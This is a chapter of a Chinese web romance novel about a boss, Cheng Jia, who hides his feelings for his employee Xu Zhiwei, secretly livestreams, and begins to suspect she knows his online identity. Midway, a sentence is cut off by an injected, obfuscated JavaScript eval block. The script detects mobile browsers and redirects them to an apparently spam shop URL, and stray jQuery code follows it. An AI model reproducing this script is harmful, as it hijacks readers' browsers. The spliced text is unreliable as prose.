电梯门合拢的瞬间，程迦几乎能听到自己血液冲击耳膜的声音。


    “你是不是——喜欢我？”


    那句话，像一颗被点燃的闪光弹，在他紧绷的神经中枢轰然炸开，强光过后，留下一片嗡鸣和灼热的残影。


    他没有立刻回答。


    最初的冲击过后，一种更现实的清醒攫住了他。


    他低下头，目光沉沉地落在她脸上——那张仰起的、带着一种近乎挑衅的笃定，却又在眼底深处泄露出一丝不易察觉的虚张声势的脸上。


    他在看。


    看她的眼睛。


    那双漂亮的眼睛里，有试探，有不服输，有刚刚扳回一城的隐约得意，甚至有被轮椅和此刻对峙激起的微妙恼怒。


    唯独没有，他真正想看到的那种，属于许知微这个女人在询问程迦这个男人本身情感时的，慎重与紧张。


    她的询问，但更像是在验证一个推论，一个带有博弈性质的推论。


    她想知道答案，但这个答案对她而言，似乎更像是一个用以确认自身魅力或掌握局面的筹码，而非关乎她内心真实波动的钥匙。


    这个认知，像一盆冰水，浇灭了他胸腔里因她靠近、因她质问而骤然燃起的、几乎要失控的野火。


    ——如果她不是认真的。


    ——如果这只是她一时兴起的试探，或是某种职场暧昧边缘的游戏。


    那么他此刻任何超出上司范畴的回应，无论是承认还是否认，都会将两人之间那本就摇摇欲坠的平衡彻底打破。


    如果他如实回答了，她会怎么想？


    会尴尬？


    会躲避？


    还是会觉得他果然不过如此，轻易就被撩动？


    若是如此，那他宁愿她不知道。


    宁愿她继续把他当成那个冷酷、高效、偶尔不近人情但绝对安全的程总。


    至少，这是他熟悉的位置。


    所以，在那样漫长到令人心悸的对视后，他移开了视线，用尽所有自制力，将语气压平，吐出那句轻描淡写的话：


    “也没喝多，说什么胡话。”


    他亲手，将那条刚刚被她莽撞撬开的缝隙，严丝合缝地焊了回去。


    用最体面的方式，将两人的关系，重新锚定在安全区。


    电梯上行，将她送回她的楼层，门开，他推她回了自己房间，一路无言。


    之后程迦一路失神地还了轮椅，甚至都没注意到跟他打招呼的同事，离开了宾馆。


    旧金山的夜风带着海湾特有的凉意，他驱车穿过睡满流浪汉的街道，按照导航，来到了中国城。


    推开永福堂的玻璃门，风铃轻响。深夜值班的老先生从老花镜后抬起眼。


    “有云南白药吗？喷雾剂。”


    *


    回到酒店时，已近凌晨。


    鬼使神差的，他在许知微的房门外停下，手里捏着那个轻飘飘却又沉甸甸的纸袋。


    抬起的手几次悬在门前，最终缓缓收回。


    最后他还是下楼去了前台，将纸袋轻轻放在台面上。


    “1312的客人，”他用地道的美式英语说道，“她可能已经休息了。别打扰她。”


    独自回到1409。


    门关上的刹那，所有强撑的镇定瞬间垮塌。


    程迦背靠着冰凉的门板，缓缓滑坐下去，抬手用力按住了突突直跳的太阳穴。


    今天的一切，如同潮水般不受控制地倒灌回来——


    她摔倒在地时瞬间苍白的脸和强忍痛楚的模样。


    她坐上轮椅时，手臂肌肤与他掌心接触时那细微的战栗。


    她发间淡淡的香气，混在展厅沉闷的空气里，却无比清晰地萦绕在他鼻尖。


    还有最后，电梯里，她仰头问出那句话时，眼中那簇混合着挑衅与不确定的、亮得惊人的光。


    他逃也似的冲进浴室，用冷水一遍遍冲洗着脸，试图让躁动的血液冷却。


    ——没用。


    他知道自己不该，但他控制不住。


    他再次解锁了系统。


    那些属于“微微不微”的幻想记录，此刻成了他唯一可以安全靠近心上人的途径。


    他点开最近的一条，也是他反复回溯的那一段——正是她最后一次在直播中与他互动后产生的幻想。


    神游开启的瞬间，世界被熟悉的涡流吞没。


    比以往任何一次都更真实，更具有侵略性。


    白天的触碰——她手臂肌肤的微凉，发丝掠过的痒意，以及电梯里那声质问带来的战栗——仿佛为这些数据碎片注入了灵魂，让每一次虚拟的接触都带上了令人心悸的实感。


    他一如既往，从不抵抗，任由意识沉溺。


    他能感觉到她的指尖带着一种研究般的冷静与不容置疑的力度，虚拟地划过他的脊背线条。


    她的气息贴近，带着一种带着温热湿意的、近乎命令的低语，在他意识的边缘清晰响起，指挥着他的每一次反应。


    画面闪烁：是她微微垂眸、自上而下投来的视线，那目光里是一种全然的掌控与审视。


    她的嘴唇在幻想里贴近他耳廓，吐出的不是情话，是简短清晰的指令，每一个字都带着不容反驳的重量。


    他迷恋这种感觉。


    迷恋这种将一切主动权、甚至将自己反应的控制权都全然交付于她的感觉。


    在现实中，他不敢承认的一切，在她的幻想里，他甘愿为奴。


    这是一种颠倒的快感。


    他知道这近乎饮鸩止渴。


    可他，甘之若饴。


    他的呼吸在现实中变得沉重，额角渗出细密的汗，身体因为长时间维持僵坐而僵硬酸痛。


    但他停不下来。


    仿佛只有通过这种自我献祭般的方式，不断重温她曾投射在他身上的、那种全然的掌控与专注，才能勉强填补现实里那道被她无心凿开、又被自己亲手焊死的沟壑。


    仿佛只有通过这种方式，才能宣泄白日里积压的所有汹涌的、无法言说的情绪；才能短暂地、虚假地，触碰到那个在现实里对他敬而远之的许知微。


    夜色深沉。


    程迦靠在床头，脸色在屏幕微光的映照下显得有些苍白，眼底残留着神游后的空洞与未褪尽的炽热余温。


    *


    倒时差的周末，总是失去形状。


    窗帘拉得严实，室内光线昏暗，时间被切割成不连贯的碎片。


    程迦在沙发上醒过一次，又在书房的椅子上醒过一次，意识始终悬浮在醒着和还在旧金山的中间层。


    身体已经回国，神经却还没跟上。


    他看了一眼时间。


    晚上十点四十七。


    这个时间点，本该是他直播的黄金档。


    他盯着电脑屏幕发了会儿呆，像是在做一个并不急于执行的决定。


    直到后台那条平直的收益曲线闯入视线，他才后知后觉地意识到——


    太久没播了。


    久到连他自己都忽略了一个事实：最近这轮融资推进得异常艰难，节奏明显放缓。


    表面原因很多，真实原因却只有一条。


    他的幻想收益，许久没有新的进账了。


    那些钱，走的是合规得不能再合规的路径——融资、咨询费、技术授权、顾问分成。


    只是他比别人更清楚，这些机会为何会在某些时间段密集出现，又为何在另一些时候悄然枯竭。


    程迦抬手捏了捏眉心，像是在对自己的失职做一个无声的惩罚。


    理性回位，职业本能随之启动。


    他起身，走进书房，打开了那套早已调试好的设备。


    灯光亮起，摄像头角度自动校准。


    十一点整。


    他上线了。


    直播间很快恢复了人气，数字缓慢却稳定地攀升。弹幕开始滚动，熟悉的问候跟调侃。


    深夜的运动，一切都在他可控的节奏里。


    直到——


    那个熟悉得不能再熟悉的ID，悄无声息地亮了起来。


    微微不微，上线了。


    程迦的指尖，在桌面上轻轻一顿，激活了那个只对她开放的定制选项。


    可是这次，她没有购买，甚至连赞都没有。她只是在线，像一个安静的观测点，悬浮在数据流里。


    可即使如此，一想到许知微此刻，就在他家对面。


    隔着一堵墙，或许同样在倒时差，或许正窝在沙发里刷手机，正看着他。


    他下颌微微绷紧，情绪也不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162176|196129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    受控制地出现了微小的波动。


    他强迫自己把注意力拉回到直播任务上，语调恢复一贯的平稳克制，继续如同完成任务版做着重复熟练的运动姿势。


    一切如常。


    直到十一点三十七分。


    屏幕右下角，弹出一个小窗口。


    【门铃提醒｜已记录一次访客】


    程迦一愣。


    他直播时向来会把门铃调成静音免打扰，这个提示，只说明一件事：虽然没有门铃声，但有人在外面按了门铃。


    他下意识瞥了一眼。


    画面清晰地显示着门外的实时影像。


    走廊灯光下，站着一个人——许知微。


    他的大脑在那一瞬间，出现了极短暂的空白。


    可直播还在进行。


    微微不微还在线。


    而现实里的她，此刻正站在他门外。


    两条线，毫无缓冲地交汇在同一个节点。


    他的眉心微不可察地蹙了一下。


    还没来得及做出任何判断，就听见了沉闷的——


    “咚、咚、咚。”


    那声音穿透门板，落在他神经上，带着一种不容回避的倔强。


    弹幕里已经有人察觉到异常。


    【主播？怎么动作停了？】


    【刚刚是不是有声音？】


    【装修砸墙么？】


    【哥，你卡了吗？】


    程迦呼吸一沉。


    那敲门声似乎没有停下的意思。


    他抬手，切断了直播画面。


    “稍等一下。”他语气一如既往地平稳，“处理一个普通的技术问题。”


    暂停。


    黑屏。


    他取下面具，摘下耳机，离开书房，来到了客厅。


    门外的敲门声还在响，仿佛笃定家里一定有人。


    “咔哒。”


    门锁转动，门向内打开。


    许知微果然站在门外，灯光落在她脸上，神情平静。


    “有什么事？”程迦抬眼看她，开口时声音还带着直播时的那股讨好。


    “程总，”她笑道，“不好意思，这么晚打扰。刚才想起，旧金山那场的数据分析，我今晚整理完终版了，有几处关键的交叉验证结果，我觉得最好能尽快给你过一眼。”


    程迦的眉心几不可察地动了一下。


    数据分析？


    现在？


    这事他知道，但并非紧急到需要深夜敲门的程度。周一例会前给他，完全来得及。


    她的工作风格向来是提前规划，留足冗余，很少有这样突然想起的紧迫。


    ——有点奇怪。


    但他面上不显，只是点了点头，声音平稳：“嗯，发我邮箱就好。”


    “好。”她应得干脆，甚至对他略一点头，算是打过招呼，然后便转身，利落地朝对门走去，没有丝毫停留或多言的意思。


    见她进屋了，他也关了门回到书房，屏幕还停留在直播中断的黑屏状态，耳机里隐约传来等待的粉丝在评论区发出的疑惑询问。


    他重新戴上耳机，调整了一下呼吸，准备切回画面。


    然而，就在他的手指即将触碰到鼠标的前一秒，目光扫过旁边另一台显示器上用来监控直播后台数据的屏幕——


    那个属于【微微不微】的ID，在他黑屏离开的这短短一两分钟里，异常活跃地刷过了好几条信息：


    【主播人呢？】


    【怎么突然黑了？】


    【是设备问题吗？】


    【在么？】


    【不会又被扫yellow抓了吧？】


    【走leetcode？？？】


    【搞什么啊！正到关键时候！】


    【是不是被□□了？？你说句话啊！】


    【早知道你这么不稳，我就不赌了！】


    一连串的问句，间隔很短，带着急促的追问意味。


    程迦的指尖，悬在了半空。


    一个被他强行按压下去许久得危险的猜想，如同深水中狰狞的阴影，再次不受控制而清晰地，浮上了意识。


    她果然知道了。


    知道“走leetcode”皮下是谁。


    呼吸，在不知不觉间，屏住了。